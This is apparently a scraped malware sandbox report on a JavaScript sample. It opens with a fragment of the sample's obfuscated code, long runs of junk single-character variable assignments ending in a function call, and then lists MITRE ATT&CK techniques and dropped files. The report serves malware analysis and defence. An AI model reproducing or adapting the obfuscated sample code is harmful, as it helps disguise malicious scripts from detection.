163	txqdc = "L";
164	adaoehwcf = "J";
165	adaoehwcf = "g";
166	adaoehwcf = "G";
167	adaoehwcf = "p";
168	adaoehwcf = "S";
169	adaoehwcf = "C";
170	adaoehwcf = "C";
171	adaoehwcf = "S";
172	adaoehwcf = "I";
173	adaoehwcf = "w";
174	abdmbl = "o";
175	abdmbl = "r";
176	abdmbl = "F";
177	abdmbl = "P";
178	abdmbl = "s";
179	abdmbl = "G";
180	abdmbl = "E";
181	jceysrs = "M";
182	jceysrs = "O";
183	jceysrs = "k";
184	jceysrs = "o";
185	jceysrs = "i";
186	jceysrs = "N";
187	jceysrs = "t";
188	qntxcmt = "O";
189	qntxcmt = "q";
190	qntxcmt = "I";
191	qntxcmt = "F";
192	qntxcmt = "t";
193	qntxcmt = "q";
194	qntxcmt = "V";
195	qntxcmt = "H";
196	qntxcmt = "P";
197	qntxcmt = "_";
198	kguzhdadq = "H";
199	kguzhdadq = "d";
200	kguzhdadq = "B";
201	kguzhdadq = "I";
202	kguzhdadq = "m";
203	kguzhdadq = "n";
204	kguzhdadq = "I";
205	wwjho = "x";
206	wwjho = "T";
207	wwjho = "j";
208	wwjho = "r";
209	wwjho = "x";
210	wwjho = "p";
211	wwjho = "Q";
212	ryrhlwn = "Q";
213	ryrhlwn = "I";
214	ryrhlwn = "r";
215	ryrhlwn = "Y";
216	ryrhlwn = "L";
217	ryrhlwn = "H";
218	ryrhlwn = "N";
219	ryrhlwn = "X";
220	ryrhlwn = "T";
221	wtjxxkecb = "t";
222	wtjxxkecb = "k";
223	wtjxxkecb = "Q";
224	wtjxxkecb = "w";
225	wtjxxkecb = "h";
226	wtjxxkecb = "G";
227	wtjxxkecb = "F";
228	wtjxxkecb = "Y";
229	nuwizjo = "q";
230	nuwizjo = "p";
231	nuwizjo = "n";
232	nuwizjo = "o";
233	nuwizjo = "R";
234	nuwizjo = "a";
235	nuwizjo = "q";
236	nuwizjo = "s";
237	ohdbt = "V";
238	ohdbt = "E";
239	ohdbt = "N";
240	ohdbt = "c";
241	ohdbt = "I";
242	ohdbt = "T";
243	ohdbt = "M";
244	ohdbt = "i";
245	wooqznl = "W";
246	wooqznl = "b";
247	wooqznl = "u";
248	wooqznl = "U";
249	wooqznl = "J";
250	wooqznl = "d";
251	wooqznl = "J";
252	wooqznl = "K";
253	igazsv = "C";
254	igazsv = "N";
255	igazsv = "u";
256	igazsv = "b";
257	igazsv = "y";
258	igazsv = "n";
259	igazsv = "L";
260	igazsv = "p";
261	xyrwe = "o";
262	xyrwe = "m";
263	xyrwe = "V";
264	xyrwe = "Y";
265	xyrwe = "v";
266	xyrwe = "a";
267	xyrwe = "H";
268	dtkaa = "J";
269	dtkaa = "g";
270	dtkaa = "T";
271	dtkaa = "Y";
272	dtkaa = "m";
273	dtkaa = "L";
274	dtkaa = "1";
275	cvjcrtoe = "i";
276	cvjcrtoe = "P";
277	cvjcrtoe = "G";
278	cvjcrtoe = "L";
279	cvjcrtoe = "F";
280	cvjcrtoe = "V";
281	cvjcrtoe = "d";
282	yepsbm = "h";
283	yepsbm = "S";
284	yepsbm = "n";
285	yepsbm = "l";
286	yepsbm = "P";
287	yepsbm = "f";
288	jlzlm = "T";
289	jlzlm = "t";
290	jlzlm = "j";
291	jlzlm = "u";
292	jlzlm = "O";
293	jlzlm = "T";
294	jlzlm = "c";
295	jlzlm = "@";
296	mzfju = "O";
297	mzfju = "I";
298	mzfju = "v";
299	mzfju = "l";
300	mzfju = "M";
301	mzfju = "H";
302	mzfju = "R";
303	mzfju = "p";
304	mzfju = "h";
305	ypvsidjc = "d";
306	ypvsidjc = "r";
307	ypvsidjc = "z";
308	ypvsidjc = "C";
309	ypvsidjc = "n";
310	ypvsidjc = "l";
311	ypvsidjc = "5";
312	sjyta = "x";
313	sjyta = "u";
314	sjyta = "t";
315	sjyta = "G";
316	sjyta = "O";
317	sjyta = "%";
318	sxphfffr = "N";
319	sxphfffr = "I";
320	sxphfffr = "r";
321	sxphfffr = "W";
322	sxphfffr = "B";
323	sxphfffr = "R";
324	qefcpy = "m";
325	qefcpy = "w";
326	qefcpy = "z";
327	qefcpy = "R";
328	qefcpy = "o";
329	qefcpy = "F";
330	qefcpy = "M";
331	qefcpy = "W";
332	wfgzwve = "c";
333	wfgzwve = "b";
334	wfgzwve = "i";
335	wfgzwve = "f";
336	wfgzwve = "y";
337	wfgzwve = "S";
338	wfgzwve = "g";
339	wfgzwve = "R";
340	wfgzwve = "J";
341	wfgzwve = "\"";
342	wfzqoz = "U";
343	wfzqoz = "g";
344	wfzqoz = "d";
345	wfzqoz = "T";
346	wfzqoz = "K";
347	wfzqoz = "F";
348	wfzqoz = "n";
349	ajkjnsobo = "h";
350	ajkjnsobo = "T";
351	ajkjnsobo = "P";
352	ajkjnsobo = "x";
353	ajkjnsobo = "S";
354	ajkjnsobo = ":";
355	uxhnmiai = "s";
356	uxhnmiai = "g";
357	uxhnmiai = "I";
358	uxhnmiai = "l";
359	uxhnmiai = "P";
360	uxhnmiai = "F";
361	hgysx = "Q";
362	hgysx = "B";
363	hgysx = "c";
364	hgysx = "K";
365	hgysx = "w";
366	hgysx = "O";
367	hgysx = "Q";
368	hgysx = "h";
369	hgysx = "x";
370	hgysx = "a";
371	zzghbk = "e";
372	zzghbk = "L";
373	zzghbk = "I";
374	zzghbk = "S";
375	zzghbk = "u";
376	zzghbk = "X";
377	zzghbk = "u";
378	ryqxzwmh = "p";
379	ryqxzwmh = "c";
380	ryqxzwmh = "N";
381	ryqxzwmh = "x";
382	ryqxzwmh = "J";
383	ryqxzwmh = "w";
384	ryqxzwmh = "P";
385	ryqxzwmh = "X";
386	ryqxzwmh = "m";
387	ryqxzwmh = "U";
388	phmfgqieq = "s";
389	phmfgqieq = "i";
390	phmfgqieq = "J";
391	phmfgqieq = "n";
392	phmfgqieq = "Z";
393	phmfgqieq = "B";
394	phmfgqieq = "A";
395	phmfgqieq = "J";
396	phmfgqieq = "M";
397	phmfgqieq = "3";
398	tmsmqtkgr = "A";
399	tmsmqtkgr = "J";
400	tmsmqtkgr = "m";
401	tmsmqtkgr = "n";
402	tmsmqtkgr = "S";
403	tmsmqtkgr = "M";
404	tmsmqtkgr = "J";
405	tmsmqtkgr = "z";
406	tmsmqtkgr = "2";
407	qjjhaqza = "w";
408	qjjhaqza = "j";
409	qjjhaqza = "q";
410	qjjhaqza = "Z";
411	qjjhaqza = "M";
412	qjjhaqza = "b";
413	qjjhaqza = "l";
414	qjjhaqza = "b";
415	wylyapa = "H";
416	wylyapa = "N";
417	wylyapa = "W";
418	wylyapa = "u";
419	wylyapa = "u";
420	wylyapa = "i";
421	wylyapa = "v";
422	gstjoe = "x";
423	gstjoe = "I";
424	gstjoe = "K";
425	gstjoe = "R";
426	gstjoe = "Q";
427	gstjoe = "B";
428	gstjoe = "F";
429	gstjoe = "P";
430	exyeffw = "w";
431	exyeffw = "Y";
432	exyeffw = "i";
433	exyeffw = "x";
434	exyeffw = "D";
435	exyeffw = "x";
436	exyeffw = "N";
437	uqforqf = "G";
438	uqforqf = "o";
439	uqforqf = "o";
440	uqforqf = "q";
441	uqforqf = "e";
442	uqforqf = "B";
443	uqforqf = "C";
444	wnlvzjvj = "W";
445	wnlvzjvj = "n";
446	wnlvzjvj = "Z";
447	wnlvzjvj = "V";
448	wnlvzjvj = "O";
449	wnlvzjvj = "f";
450	wnlvzjvj = "n";
451	wnlvzjvj = "s";
452	wnlvzjvj = "\\";
453	qismsn = "N";
454	qismsn = "w";
455	qismsn = "I";
456	qismsn = "a";
457	qismsn = "k";
458	qismsn = "B";
459	qismsn = "/";
460	omzqlpyev = "v";
461	omzqlpyev = "g";
462	omzqlpyev = "c";
463	omzqlpyev = "r";
464	omzqlpyev = "o";
465	omzqlpyev = " ";
466	scfoc = "E";
467	scfoc = "J";
468	scfoc = "u";
469	scfoc = "A";
470	scfoc = "v";
471	scfoc = "X";
472	scfoc = "Q";
473	scfoc = "N";
474	scfoc = "z";
475	scfoc = "x";
476	zzcwiqyf = "g";
477	zzcwiqyf = "H";
478	zzcwiqyf = "u";
479	zzcwiqyf = "f";
480	zzcwiqyf = "F";
481	zzcwiqyf = "H";
482	zzcwiqyf = "W";
483	zzcwiqyf = "U";
484	zzcwiqyf = "e";
485	bjlxbtr ( );	bjlxbtr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4208093227073.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4f5f36.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cd0ae463-d4b8-49cb-85dd-3bfc925814fe.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fdfa31de-677a-41b7-81dc-29c6a50a5cdd.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
4208093227073.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre